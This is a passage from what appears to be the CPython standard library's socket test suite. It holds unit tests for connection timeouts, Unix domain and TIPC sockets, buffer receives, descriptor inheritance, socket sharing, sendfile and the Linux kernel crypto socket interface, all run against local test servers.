expected_errnos = socket_helper.get_socket_conn_refused_errs()
self.assertIn(cm.exception.errno, expected_errnos)
def test_create_connection_timeout(self):
# Issue #9792: create_connection() should not recast timeout errors
# as generic socket errors.
with self.mocked_socket_module():
try:
socket.create_connection((HOST, 1234))
except socket.timeout:
pass
except OSError as exc:
if socket_helper.IPV6_ENABLED or exc.errno != errno.EAFNOSUPPORT:
raise
else:
self.fail('socket.timeout not raised')
class NetworkConnectionAttributesTest(SocketTCPTest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketTCPTest.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def clientSetUp(self):
self.source_port = socket_helper.find_unused_port()
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
def _justAccept(self):
conn, addr = self.serv.accept()
conn.close()
testFamily = _justAccept
def _testFamily(self):
self.cli = socket.create_connection((HOST, self.port),
timeout=support.LOOPBACK_TIMEOUT)
self.addCleanup(self.cli.close)
self.assertEqual(self.cli.family, 2)
testSourceAddress = _justAccept
def _testSourceAddress(self):
self.cli = socket.create_connection((HOST, self.port),
timeout=support.LOOPBACK_TIMEOUT,
source_address=('', self.source_port))
self.addCleanup(self.cli.close)
self.assertEqual(self.cli.getsockname()[1], self.source_port)
# The port number being used is sufficient to show that the bind()
# call happened.
testTimeoutDefault = _justAccept
def _testTimeoutDefault(self):
# passing no explicit timeout uses socket's global default
self.assertTrue(socket.getdefaulttimeout() is None)
socket.setdefaulttimeout(42)
try:
self.cli = socket.create_connection((HOST, self.port))
self.addCleanup(self.cli.close)
finally:
socket.setdefaulttimeout(None)
self.assertEqual(self.cli.gettimeout(), 42)
testTimeoutNone = _justAccept
def _testTimeoutNone(self):
# None timeout means the same as sock.settimeout(None)
self.assertTrue(socket.getdefaulttimeout() is None)
socket.setdefaulttimeout(30)
try:
self.cli = socket.create_connection((HOST, self.port), timeout=None)
self.addCleanup(self.cli.close)
finally:
socket.setdefaulttimeout(None)
self.assertEqual(self.cli.gettimeout(), None)
testTimeoutValueNamed = _justAccept
def _testTimeoutValueNamed(self):
self.cli = socket.create_connection((HOST, self.port), timeout=30)
self.assertEqual(self.cli.gettimeout(), 30)
testTimeoutValueNonamed = _justAccept
def _testTimeoutValueNonamed(self):
self.cli = socket.create_connection((HOST, self.port), 30)
self.addCleanup(self.cli.close)
self.assertEqual(self.cli.gettimeout(), 30)
class NetworkConnectionBehaviourTest(SocketTCPTest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketTCPTest.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def clientSetUp(self):
pass
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
def testInsideTimeout(self):
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
time.sleep(3)
conn.send(b"done!")
testOutsideTimeout = testInsideTimeout
def _testInsideTimeout(self):
self.cli = sock = socket.create_connection((HOST, self.port))
data = sock.recv(5)
self.assertEqual(data, b"done!")
def _testOutsideTimeout(self):
self.cli = sock = socket.create_connection((HOST, self.port), timeout=1)
self.assertRaises(socket.timeout, lambda: sock.recv(5))
class TCPTimeoutTest(SocketTCPTest):
def testTCPTimeout(self):
def raise_timeout(*args, **kwargs):
self.serv.settimeout(1.0)
self.serv.accept()
self.assertRaises(socket.timeout, raise_timeout,
"Error generating a timeout exception (TCP)")
def testTimeoutZero(self):
ok = False
try:
self.serv.settimeout(0.0)
foo = self.serv.accept()
except socket.timeout:
self.fail("caught timeout instead of error (TCP)")
except OSError:
ok = True
except:
self.fail("caught unexpected exception (TCP)")
if not ok:
self.fail("accept() returned success when we did not expect it")
@unittest.skipUnless(hasattr(signal, 'alarm'),
'test needs signal.alarm()')
def testInterruptedTimeout(self):
# XXX I don't know how to do this test on MSWindows or any other
# platform that doesn't support signal.alarm() or os.kill(), though
# the bug should have existed on all platforms.
self.serv.settimeout(5.0) # must be longer than alarm
class Alarm(Exception):
pass
def alarm_handler(signal, frame):
raise Alarm
old_alarm = signal.signal(signal.SIGALRM, alarm_handler)
try:
try:
signal.alarm(2) # POSIX allows alarm to be up to 1 second early
foo = self.serv.accept()
except socket.timeout:
self.fail("caught timeout instead of Alarm")
except Alarm:
pass
except:
self.fail("caught other exception instead of Alarm:"
" %s(%s):\n%s" %
(sys.exc_info()[:2] + (traceback.format_exc(),)))
else:
self.fail("nothing caught")
finally:
signal.alarm(0) # shut off alarm
except Alarm:
self.fail("got Alarm in wrong place")
finally:
# no alarm can be pending. Safe to restore old handler.
signal.signal(signal.SIGALRM, old_alarm)
class UDPTimeoutTest(SocketUDPTest):
def testUDPTimeout(self):
def raise_timeout(*args, **kwargs):
self.serv.settimeout(1.0)
self.serv.recv(1024)
self.assertRaises(socket.timeout, raise_timeout,
"Error generating a timeout exception (UDP)")
def testTimeoutZero(self):
ok = False
try:
self.serv.settimeout(0.0)
foo = self.serv.recv(1024)
except socket.timeout:
self.fail("caught timeout instead of error (UDP)")
except OSError:
ok = True
except:
self.fail("caught unexpected exception (UDP)")
if not ok:
self.fail("recv() returned success when we did not expect it")
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
class UDPLITETimeoutTest(SocketUDPLITETest):
def testUDPLITETimeout(self):
def raise_timeout(*args, **kwargs):
self.serv.settimeout(1.0)
self.serv.recv(1024)
self.assertRaises(socket.timeout, raise_timeout,
"Error generating a timeout exception (UDPLITE)")
def testTimeoutZero(self):
ok = False
try:
self.serv.settimeout(0.0)
foo = self.serv.recv(1024)
except socket.timeout:
self.fail("caught timeout instead of error (UDPLITE)")
except OSError:
ok = True
except:
self.fail("caught unexpected exception (UDPLITE)")
if not ok:
self.fail("recv() returned success when we did not expect it")
class TestExceptions(unittest.TestCase):
def testExceptionTree(self):
self.assertTrue(issubclass(OSError, Exception))
self.assertTrue(issubclass(socket.herror, OSError))
self.assertTrue(issubclass(socket.gaierror, OSError))
self.assertTrue(issubclass(socket.timeout, OSError))
def test_setblocking_invalidfd(self):
# Regression test for issue #28471
sock0 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock = socket.socket(
socket.AF_INET, socket.SOCK_STREAM, 0, sock0.fileno())
sock0.close()
self.addCleanup(sock.detach)
with self.assertRaises(OSError):
sock.setblocking(False)
@unittest.skipUnless(sys.platform == 'linux', 'Linux specific test')
class TestLinuxAbstractNamespace(unittest.TestCase):
UNIX_PATH_MAX = 108
def testLinuxAbstractNamespace(self):
address = b"\x00python-test-hello\x00\xff"
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s1:
s1.bind(address)
s1.listen()
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s2:
s2.connect(s1.getsockname())
with s1.accept()[0] as s3:
self.assertEqual(s1.getsockname(), address)
self.assertEqual(s2.getpeername(), address)
def testMaxName(self):
address = b"\x00" + b"h" * (self.UNIX_PATH_MAX - 1)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.bind(address)
self.assertEqual(s.getsockname(), address)
def testNameOverflow(self):
address = "\x00" + "h" * self.UNIX_PATH_MAX
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
self.assertRaises(OSError, s.bind, address)
def testStrName(self):
# Check that an abstract name can be passed as a string.
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
s.bind("\x00python\x00test\x00")
self.assertEqual(s.getsockname(), b"\x00python\x00test\x00")
finally:
s.close()
def testBytearrayName(self):
# Check that an abstract name can be passed as a bytearray.
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.bind(bytearray(b"\x00python\x00test\x00"))
self.assertEqual(s.getsockname(), b"\x00python\x00test\x00")
@unittest.skipUnless(hasattr(socket, 'AF_UNIX'), 'test needs socket.AF_UNIX')
class TestUnixDomain(unittest.TestCase):
def setUp(self):
self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
def tearDown(self):
self.sock.close()
def encoded(self, path):
# Return the given path encoded in the file system encoding,
# or skip the test if this is not possible.
try:
return os.fsencode(path)
except UnicodeEncodeError:
self.skipTest(
"Pathname {0!a} cannot be represented in file "
"system encoding {1!r}".format(
path, sys.getfilesystemencoding()))
def bind(self, sock, path):
# Bind the socket
try:
socket_helper.bind_unix_socket(sock, path)
except OSError as e:
if str(e) == "AF_UNIX path too long":
self.skipTest(
"Pathname {0!a} is too long to serve as an AF_UNIX path"
.format(path))
else:
raise
def testUnbound(self):
# Issue #30205 (note getsockname() can return None on OS X)
self.assertIn(self.sock.getsockname(), ('', None))
def testStrAddr(self):
# Test binding to and retrieving a normal string pathname.
path = os.path.abspath(support.TESTFN)
self.bind(self.sock, path)
self.addCleanup(support.unlink, path)
self.assertEqual(self.sock.getsockname(), path)
def testBytesAddr(self):
# Test binding to a bytes pathname.
path = os.path.abspath(support.TESTFN)
self.bind(self.sock, self.encoded(path))
self.addCleanup(support.unlink, path)
self.assertEqual(self.sock.getsockname(), path)
def testSurrogateescapeBind(self):
# Test binding to a valid non-ASCII pathname, with the
# non-ASCII bytes supplied using surrogateescape encoding.
path = os.path.abspath(support.TESTFN_UNICODE)
b = self.encoded(path)
self.bind(self.sock, b.decode("ascii", "surrogateescape"))
self.addCleanup(support.unlink, path)
self.assertEqual(self.sock.getsockname(), path)
def testUnencodableAddr(self):
# Test binding to a pathname that cannot be encoded in the
# file system encoding.
if support.TESTFN_UNENCODABLE is None:
self.skipTest("No unencodable filename available")
path = os.path.abspath(support.TESTFN_UNENCODABLE)
self.bind(self.sock, path)
self.addCleanup(support.unlink, path)
self.assertEqual(self.sock.getsockname(), path)
class BufferIOTest(SocketConnectedTest):
"""
Test the buffer versions of socket.recv() and socket.send().
"""
def __init__(self, methodName='runTest'):
SocketConnectedTest.__init__(self, methodName=methodName)
def testRecvIntoArray(self):
buf = array.array("B", [0] * len(MSG))
nbytes = self.cli_conn.recv_into(buf)
self.assertEqual(nbytes, len(MSG))
buf = buf.tobytes()
msg = buf[:len(MSG)]
self.assertEqual(msg, MSG)
def _testRecvIntoArray(self):
buf = bytes(MSG)
self.serv_conn.send(buf)
def testRecvIntoBytearray(self):
buf = bytearray(1024)
nbytes = self.cli_conn.recv_into(buf)
self.assertEqual(nbytes, len(MSG))
msg = buf[:len(MSG)]
self.assertEqual(msg, MSG)
_testRecvIntoBytearray = _testRecvIntoArray
def testRecvIntoMemoryview(self):
buf = bytearray(1024)
nbytes = self.cli_conn.recv_into(memoryview(buf))
self.assertEqual(nbytes, len(MSG))
msg = buf[:len(MSG)]
self.assertEqual(msg, MSG)
_testRecvIntoMemoryview = _testRecvIntoArray
def testRecvFromIntoArray(self):
buf = array.array("B", [0] * len(MSG))
nbytes, addr = self.cli_conn.recvfrom_into(buf)
self.assertEqual(nbytes, len(MSG))
buf = buf.tobytes()
msg = buf[:len(MSG)]
self.assertEqual(msg, MSG)
def _testRecvFromIntoArray(self):
buf = bytes(MSG)
self.serv_conn.send(buf)
def testRecvFromIntoBytearray(self):
buf = bytearray(1024)
nbytes, addr = self.cli_conn.recvfrom_into(buf)
self.assertEqual(nbytes, len(MSG))
msg = buf[:len(MSG)]
self.assertEqual(msg, MSG)
_testRecvFromIntoBytearray = _testRecvFromIntoArray
def testRecvFromIntoMemoryview(self):
buf = bytearray(1024)
nbytes, addr = self.cli_conn.recvfrom_into(memoryview(buf))
self.assertEqual(nbytes, len(MSG))
msg = buf[:len(MSG)]
self.assertEqual(msg, MSG)
_testRecvFromIntoMemoryview = _testRecvFromIntoArray
def testRecvFromIntoSmallBuffer(self):
# See issue #20246.
buf = bytearray(8)
self.assertRaises(ValueError, self.cli_conn.recvfrom_into, buf, 1024)
def _testRecvFromIntoSmallBuffer(self):
self.serv_conn.send(MSG)
def testRecvFromIntoEmptyBuffer(self):
buf = bytearray()
self.cli_conn.recvfrom_into(buf)
self.cli_conn.recvfrom_into(buf, 0)
_testRecvFromIntoEmptyBuffer = _testRecvFromIntoArray
TIPC_STYPE = 2000
TIPC_LOWER = 200
TIPC_UPPER = 210
def isTipcAvailable():
"""Check if the TIPC module is loaded
The TIPC module is not loaded automatically on Ubuntu and probably
other Linux distros.
"""
if not hasattr(socket, "AF_TIPC"):
return False
try:
f = open("/proc/modules")
except (FileNotFoundError, IsADirectoryError, PermissionError):
# It's ok if the file does not exist, is a directory or if we
# have not the permission to read it.
return False
with f:
for line in f:
if line.startswith("tipc "):
return True
return False
@unittest.skipUnless(isTipcAvailable(),
"TIPC module is not loaded, please 'sudo modprobe tipc'")
class TIPCTest(unittest.TestCase):
def testRDM(self):
srv = socket.socket(socket.AF_TIPC, socket.SOCK_RDM)
cli = socket.socket(socket.AF_TIPC, socket.SOCK_RDM)
self.addCleanup(srv.close)
self.addCleanup(cli.close)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srvaddr = (socket.TIPC_ADDR_NAMESEQ, TIPC_STYPE,
TIPC_LOWER, TIPC_UPPER)
srv.bind(srvaddr)
sendaddr = (socket.TIPC_ADDR_NAME, TIPC_STYPE,
TIPC_LOWER + int((TIPC_UPPER - TIPC_LOWER) / 2), 0)
cli.sendto(MSG, sendaddr)
msg, recvaddr = srv.recvfrom(1024)
self.assertEqual(cli.getsockname(), recvaddr)
self.assertEqual(msg, MSG)
@unittest.skipUnless(isTipcAvailable(),
"TIPC module is not loaded, please 'sudo modprobe tipc'")
class TIPCThreadableTest(unittest.TestCase, ThreadableTest):
def __init__(self, methodName = 'runTest'):
unittest.TestCase.__init__(self, methodName = methodName)
ThreadableTest.__init__(self)
def setUp(self):
self.srv = socket.socket(socket.AF_TIPC, socket.SOCK_STREAM)
self.addCleanup(self.srv.close)
self.srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srvaddr = (socket.TIPC_ADDR_NAMESEQ, TIPC_STYPE,
TIPC_LOWER, TIPC_UPPER)
self.srv.bind(srvaddr)
self.srv.listen()
self.serverExplicitReady()
self.conn, self.connaddr = self.srv.accept()
self.addCleanup(self.conn.close)
def clientSetUp(self):
# There is a hittable race between serverExplicitReady() and the
# accept() call; sleep a little while to avoid it, otherwise
# we could get an exception
time.sleep(0.1)
self.cli = socket.socket(socket.AF_TIPC, socket.SOCK_STREAM)
self.addCleanup(self.cli.close)
addr = (socket.TIPC_ADDR_NAME, TIPC_STYPE,
TIPC_LOWER + int((TIPC_UPPER - TIPC_LOWER) / 2), 0)
self.cli.connect(addr)
self.cliaddr = self.cli.getsockname()
def testStream(self):
msg = self.conn.recv(1024)
self.assertEqual(msg, MSG)
self.assertEqual(self.cliaddr, self.connaddr)
def _testStream(self):
self.cli.send(MSG)
self.cli.close()
class ContextManagersTest(ThreadedTCPSocketTest):
def _testSocketClass(self):
# base test
with socket.socket() as sock:
self.assertFalse(sock._closed)
self.assertTrue(sock._closed)
# close inside with block
with socket.socket() as sock:
sock.close()
self.assertTrue(sock._closed)
# exception inside with block
with socket.socket() as sock:
self.assertRaises(OSError, sock.sendall, b'foo')
self.assertTrue(sock._closed)
def testCreateConnectionBase(self):
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
data = conn.recv(1024)
conn.sendall(data)
def _testCreateConnectionBase(self):
address = self.serv.getsockname()
with socket.create_connection(address) as sock:
self.assertFalse(sock._closed)
sock.sendall(b'foo')
self.assertEqual(sock.recv(1024), b'foo')
self.assertTrue(sock._closed)
def testCreateConnectionClose(self):
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
data = conn.recv(1024)
conn.sendall(data)
def _testCreateConnectionClose(self):
address = self.serv.getsockname()
with socket.create_connection(address) as sock:
sock.close()
self.assertTrue(sock._closed)
self.assertRaises(OSError, sock.sendall, b'foo')
class InheritanceTest(unittest.TestCase):
@unittest.skipUnless(hasattr(socket, "SOCK_CLOEXEC"),
"SOCK_CLOEXEC not defined")
@support.requires_linux_version(2, 6, 28)
def test_SOCK_CLOEXEC(self):
with socket.socket(socket.AF_INET,
socket.SOCK_STREAM | socket.SOCK_CLOEXEC) as s:
self.assertEqual(s.type, socket.SOCK_STREAM)
self.assertFalse(s.get_inheritable())
def test_default_inheritable(self):
sock = socket.socket()
with sock:
self.assertEqual(sock.get_inheritable(), False)
def test_dup(self):
sock = socket.socket()
with sock:
newsock = sock.dup()
sock.close()
with newsock:
self.assertEqual(newsock.get_inheritable(), False)
def test_set_inheritable(self):
sock = socket.socket()
with sock:
sock.set_inheritable(True)
self.assertEqual(sock.get_inheritable(), True)
sock.set_inheritable(False)
self.assertEqual(sock.get_inheritable(), False)
@unittest.skipIf(fcntl is None, "need fcntl")
def test_get_inheritable_cloexec(self):
sock = socket.socket()
with sock:
fd = sock.fileno()
self.assertEqual(sock.get_inheritable(), False)
# clear FD_CLOEXEC flag
flags = fcntl.fcntl(fd, fcntl.F_GETFD)
flags &= ~fcntl.FD_CLOEXEC
fcntl.fcntl(fd, fcntl.F_SETFD, flags)
self.assertEqual(sock.get_inheritable(), True)
@unittest.skipIf(fcntl is None, "need fcntl")
def test_set_inheritable_cloexec(self):
sock = socket.socket()
with sock:
fd = sock.fileno()
self.assertEqual(fcntl.fcntl(fd, fcntl.F_GETFD) & fcntl.FD_CLOEXEC,
fcntl.FD_CLOEXEC)
sock.set_inheritable(True)
self.assertEqual(fcntl.fcntl(fd, fcntl.F_GETFD) & fcntl.FD_CLOEXEC,
0)
def test_socketpair(self):
s1, s2 = socket.socketpair()
self.addCleanup(s1.close)
self.addCleanup(s2.close)
self.assertEqual(s1.get_inheritable(), False)
self.assertEqual(s2.get_inheritable(), False)
@unittest.skipUnless(hasattr(socket, "SOCK_NONBLOCK"),
"SOCK_NONBLOCK not defined")
class NonblockConstantTest(unittest.TestCase):
def checkNonblock(self, s, nonblock=True, timeout=0.0):
if nonblock:
self.assertEqual(s.type, socket.SOCK_STREAM)
self.assertEqual(s.gettimeout(), timeout)
self.assertTrue(
fcntl.fcntl(s, fcntl.F_GETFL, os.O_NONBLOCK) & os.O_NONBLOCK)
if timeout == 0:
# timeout == 0: means that getblocking() must be False.
self.assertFalse(s.getblocking())
else:
# If timeout > 0, the socket will be in a "blocking" mode
# from the standpoint of the Python API. For Python socket
# object, "blocking" means that operations like 'sock.recv()'
# will block. Internally, file descriptors for
# "blocking" Python sockets *with timeouts* are in a
# *non-blocking* mode, and 'sock.recv()' uses 'select()'
# and handles EWOULDBLOCK/EAGAIN to enforce the timeout.
self.assertTrue(s.getblocking())
else:
self.assertEqual(s.type, socket.SOCK_STREAM)
self.assertEqual(s.gettimeout(), None)
self.assertFalse(
fcntl.fcntl(s, fcntl.F_GETFL, os.O_NONBLOCK) & os.O_NONBLOCK)
self.assertTrue(s.getblocking())
@support.requires_linux_version(2, 6, 28)
def test_SOCK_NONBLOCK(self):
# a lot of it seems silly and redundant, but I wanted to test that
# changing back and forth worked ok
with socket.socket(socket.AF_INET,
socket.SOCK_STREAM | socket.SOCK_NONBLOCK) as s:
self.checkNonblock(s)
s.setblocking(True)
self.checkNonblock(s, nonblock=False)
s.setblocking(False)
self.checkNonblock(s)
s.settimeout(None)
self.checkNonblock(s, nonblock=False)
s.settimeout(2.0)
self.checkNonblock(s, timeout=2.0)
s.setblocking(True)
self.checkNonblock(s, nonblock=False)
# defaulttimeout
t = socket.getdefaulttimeout()
socket.setdefaulttimeout(0.0)
with socket.socket() as s:
self.checkNonblock(s)
socket.setdefaulttimeout(None)
with socket.socket() as s:
self.checkNonblock(s, False)
socket.setdefaulttimeout(2.0)
with socket.socket() as s:
self.checkNonblock(s, timeout=2.0)
socket.setdefaulttimeout(None)
with socket.socket() as s:
self.checkNonblock(s, False)
socket.setdefaulttimeout(t)
@unittest.skipUnless(os.name == "nt", "Windows specific")
@unittest.skipUnless(multiprocessing, "need multiprocessing")
class TestSocketSharing(SocketTCPTest):
# This must be classmethod and not staticmethod or multiprocessing
# won't be able to bootstrap it.
@classmethod
def remoteProcessServer(cls, q):
# Recreate socket from shared data
sdata = q.get()
message = q.get()
s = socket.fromshare(sdata)
s2, c = s.accept()
# Send the message
s2.sendall(message)
s2.close()
s.close()
def testShare(self):
# Transfer the listening server socket to another process
# and service it from there.
# Create process:
q = multiprocessing.Queue()
p = multiprocessing.Process(target=self.remoteProcessServer, args=(q,))
p.start()
# Get the shared socket data
data = self.serv.share(p.pid)
# Pass the shared socket to the other process
addr = self.serv.getsockname()
self.serv.close()
q.put(data)
# The data that the server will send us
message = b"slapmahfro"
q.put(message)
# Connect
s = socket.create_connection(addr)
# listen for the data
m = []
while True:
data = s.recv(100)
if not data:
break
m.append(data)
s.close()
received = b"".join(m)
self.assertEqual(received, message)
p.join()
def testShareLength(self):
data = self.serv.share(os.getpid())
self.assertRaises(ValueError, socket.fromshare, data[:-1])
self.assertRaises(ValueError, socket.fromshare, data+b"foo")
def compareSockets(self, org, other):
# socket sharing is expected to work only for blocking socket
# since the internal python timeout value isn't transferred.
self.assertEqual(org.gettimeout(), None)
self.assertEqual(org.gettimeout(), other.gettimeout())
self.assertEqual(org.family, other.family)
self.assertEqual(org.type, other.type)
# If the user specified "0" for proto, then
# internally windows will have picked the correct value.
# Python introspection on the socket however will still return
# 0. For the shared socket, the python value is recreated
# from the actual value, so it may not compare correctly.
if org.proto != 0:
self.assertEqual(org.proto, other.proto)
def testShareLocal(self):
data = self.serv.share(os.getpid())
s = socket.fromshare(data)
try:
self.compareSockets(self.serv, s)
finally:
s.close()
def testTypes(self):
families = [socket.AF_INET, socket.AF_INET6]
types = [socket.SOCK_STREAM, socket.SOCK_DGRAM]
for f in families:
for t in types:
try:
source = socket.socket(f, t)
except OSError:
continue # This combination is not supported
try:
data = source.share(os.getpid())
shared = socket.fromshare(data)
try:
self.compareSockets(source, shared)
finally:
shared.close()
finally:
source.close()
class SendfileUsingSendTest(ThreadedTCPSocketTest):
"""
Test the send() implementation of socket.sendfile().
"""
FILESIZE = (10 * 1024 * 1024) # 10 MiB
BUFSIZE = 8192
FILEDATA = b""
TIMEOUT = support.LOOPBACK_TIMEOUT
@classmethod
def setUpClass(cls):
def chunks(total, step):
assert total >= step
while total > step:
yield step
total -= step
if total:
yield total
chunk = b"".join([random.choice(string.ascii_letters).encode()
for i in range(cls.BUFSIZE)])
with open(support.TESTFN, 'wb') as f:
for csize in chunks(cls.FILESIZE, cls.BUFSIZE):
f.write(chunk)
with open(support.TESTFN, 'rb') as f:
cls.FILEDATA = f.read()
assert len(cls.FILEDATA) == cls.FILESIZE
@classmethod
def tearDownClass(cls):
support.unlink(support.TESTFN)
def accept_conn(self):
self.serv.settimeout(support.LONG_TIMEOUT)
conn, addr = self.serv.accept()
conn.settimeout(self.TIMEOUT)
self.addCleanup(conn.close)
return conn
def recv_data(self, conn):
received = []
while True:
chunk = conn.recv(self.BUFSIZE)
if not chunk:
break
received.append(chunk)
return b''.join(received)
def meth_from_sock(self, sock):
# Depending on the mixin class being run return either send()
# or sendfile() method implementation.
return getattr(sock, "_sendfile_use_send")
# regular file
def _testRegularFile(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
with socket.create_connection(address) as sock, file as file:
meth = self.meth_from_sock(sock)
sent = meth(file)
self.assertEqual(sent, self.FILESIZE)
self.assertEqual(file.tell(), self.FILESIZE)
def testRegularFile(self):
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), self.FILESIZE)
self.assertEqual(data, self.FILEDATA)
# non regular file
def _testNonRegularFile(self):
address = self.serv.getsockname()
file = io.BytesIO(self.FILEDATA)
with socket.create_connection(address) as sock, file as file:
sent = sock.sendfile(file)
self.assertEqual(sent, self.FILESIZE)
self.assertEqual(file.tell(), self.FILESIZE)
self.assertRaises(socket._GiveupOnSendfile,
sock._sendfile_use_sendfile, file)
def testNonRegularFile(self):
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), self.FILESIZE)
self.assertEqual(data, self.FILEDATA)
# empty file
def _testEmptyFileSend(self):
address = self.serv.getsockname()
filename = support.TESTFN + "2"
with open(filename, 'wb'):
self.addCleanup(support.unlink, filename)
file = open(filename, 'rb')
with socket.create_connection(address) as sock, file as file:
meth = self.meth_from_sock(sock)
sent = meth(file)
self.assertEqual(sent, 0)
self.assertEqual(file.tell(), 0)
def testEmptyFileSend(self):
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(data, b"")
# offset
def _testOffset(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
with socket.create_connection(address) as sock, file as file:
meth = self.meth_from_sock(sock)
sent = meth(file, offset=5000)
self.assertEqual(sent, self.FILESIZE - 5000)
self.assertEqual(file.tell(), self.FILESIZE)
def testOffset(self):
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), self.FILESIZE - 5000)
self.assertEqual(data, self.FILEDATA[5000:])
# count
def _testCount(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
sock = socket.create_connection(address,
timeout=support.LOOPBACK_TIMEOUT)
with sock, file:
count = 5000007
meth = self.meth_from_sock(sock)
sent = meth(file, count=count)
self.assertEqual(sent, count)
self.assertEqual(file.tell(), count)
def testCount(self):
count = 5000007
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), count)
self.assertEqual(data, self.FILEDATA[:count])
# count small
def _testCountSmall(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
sock = socket.create_connection(address,
timeout=support.LOOPBACK_TIMEOUT)
with sock, file:
count = 1
meth = self.meth_from_sock(sock)
sent = meth(file, count=count)
self.assertEqual(sent, count)
self.assertEqual(file.tell(), count)
def testCountSmall(self):
count = 1
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), count)
self.assertEqual(data, self.FILEDATA[:count])
# count + offset
def _testCountWithOffset(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
with socket.create_connection(address, timeout=2) as sock, file as file:
count = 100007
meth = self.meth_from_sock(sock)
sent = meth(file, offset=2007, count=count)
self.assertEqual(sent, count)
self.assertEqual(file.tell(), count + 2007)
def testCountWithOffset(self):
count = 100007
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), count)
self.assertEqual(data, self.FILEDATA[2007:count+2007])
# non blocking sockets are not supposed to work
def _testNonBlocking(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
with socket.create_connection(address) as sock, file as file:
sock.setblocking(False)
meth = self.meth_from_sock(sock)
self.assertRaises(ValueError, meth, file)
self.assertRaises(ValueError, sock.sendfile, file)
def testNonBlocking(self):
conn = self.accept_conn()
if conn.recv(8192):
self.fail('was not supposed to receive any data')
# timeout (non-triggered)
def _testWithTimeout(self):
address = self.serv.getsockname()
file = open(support.TESTFN, 'rb')
sock = socket.create_connection(address,
timeout=support.LOOPBACK_TIMEOUT)
with sock, file:
meth = self.meth_from_sock(sock)
sent = meth(file)
self.assertEqual(sent, self.FILESIZE)
def testWithTimeout(self):
conn = self.accept_conn()
data = self.recv_data(conn)
self.assertEqual(len(data), self.FILESIZE)
self.assertEqual(data, self.FILEDATA)
# timeout (triggered)
def _testWithTimeoutTriggeredSend(self):
address = self.serv.getsockname()
with open(support.TESTFN, 'rb') as file:
with socket.create_connection(address) as sock:
sock.settimeout(0.01)
meth = self.meth_from_sock(sock)
self.assertRaises(socket.timeout, meth, file)
def testWithTimeoutTriggeredSend(self):
conn = self.accept_conn()
conn.recv(88192)
time.sleep(1)
# errors
def _test_errors(self):
pass
def test_errors(self):
with open(support.TESTFN, 'rb') as file:
with socket.socket(type=socket.SOCK_DGRAM) as s:
meth = self.meth_from_sock(s)
self.assertRaisesRegex(
ValueError, "SOCK_STREAM", meth, file)
with open(support.TESTFN, 'rt') as file:
with socket.socket() as s:
meth = self.meth_from_sock(s)
self.assertRaisesRegex(
ValueError, "binary mode", meth, file)
with open(support.TESTFN, 'rb') as file:
with socket.socket() as s:
meth = self.meth_from_sock(s)
self.assertRaisesRegex(TypeError, "positive integer",
meth, file, count='2')
self.assertRaisesRegex(TypeError, "positive integer",
meth, file, count=0.1)
self.assertRaisesRegex(ValueError, "positive integer",
meth, file, count=0)
self.assertRaisesRegex(ValueError, "positive integer",
meth, file, count=-1)
@unittest.skipUnless(hasattr(os, "sendfile"),
'os.sendfile() required for this test.')
class SendfileUsingSendfileTest(SendfileUsingSendTest):
"""
Test the sendfile() implementation of socket.sendfile().
"""
def meth_from_sock(self, sock):
return getattr(sock, "_sendfile_use_sendfile")
@unittest.skipUnless(HAVE_SOCKET_ALG, 'AF_ALG required')
class LinuxKernelCryptoAPI(unittest.TestCase):
# tests for AF_ALG
def create_alg(self, typ, name):
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
try:
sock.bind((typ, name))
except FileNotFoundError as e:
# type / algorithm is not available
sock.close()
raise unittest.SkipTest(str(e), typ, name)
else:
return sock
# bpo-31705: On kernel older than 4.5, sendto() failed with ENOKEY,
# at least on ppc64le architecture
@support.requires_linux_version(4, 5)
def test_sha256(self):
expected = bytes.fromhex("ba7816bf8f01cfea414140de5dae2223b00361a396"
"177a9cb410ff61f20015ad")
with self.create_alg('hash', 'sha256') as algo:
op, _ = algo.accept()
with op:
op.sendall(b"abc")
self.assertEqual(op.recv(512), expected)
op, _ = algo.accept()
with op:
op.send(b'a', socket.MSG_MORE)
op.send(b'b', socket.MSG_MORE)
op.send(b'c', socket.MSG_MORE)
op.send(b'')
self.assertEqual(op.recv(512), expected)
def test_hmac_sha1(self):
expected = bytes.fromhex("effcdf6ae5eb2fa2d27416d5f184df9c259a7c79")
with self.create_alg('hash', 'hmac(sha1)') as algo:
algo.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b"Jefe")
op, _ = algo.accept()
with op:
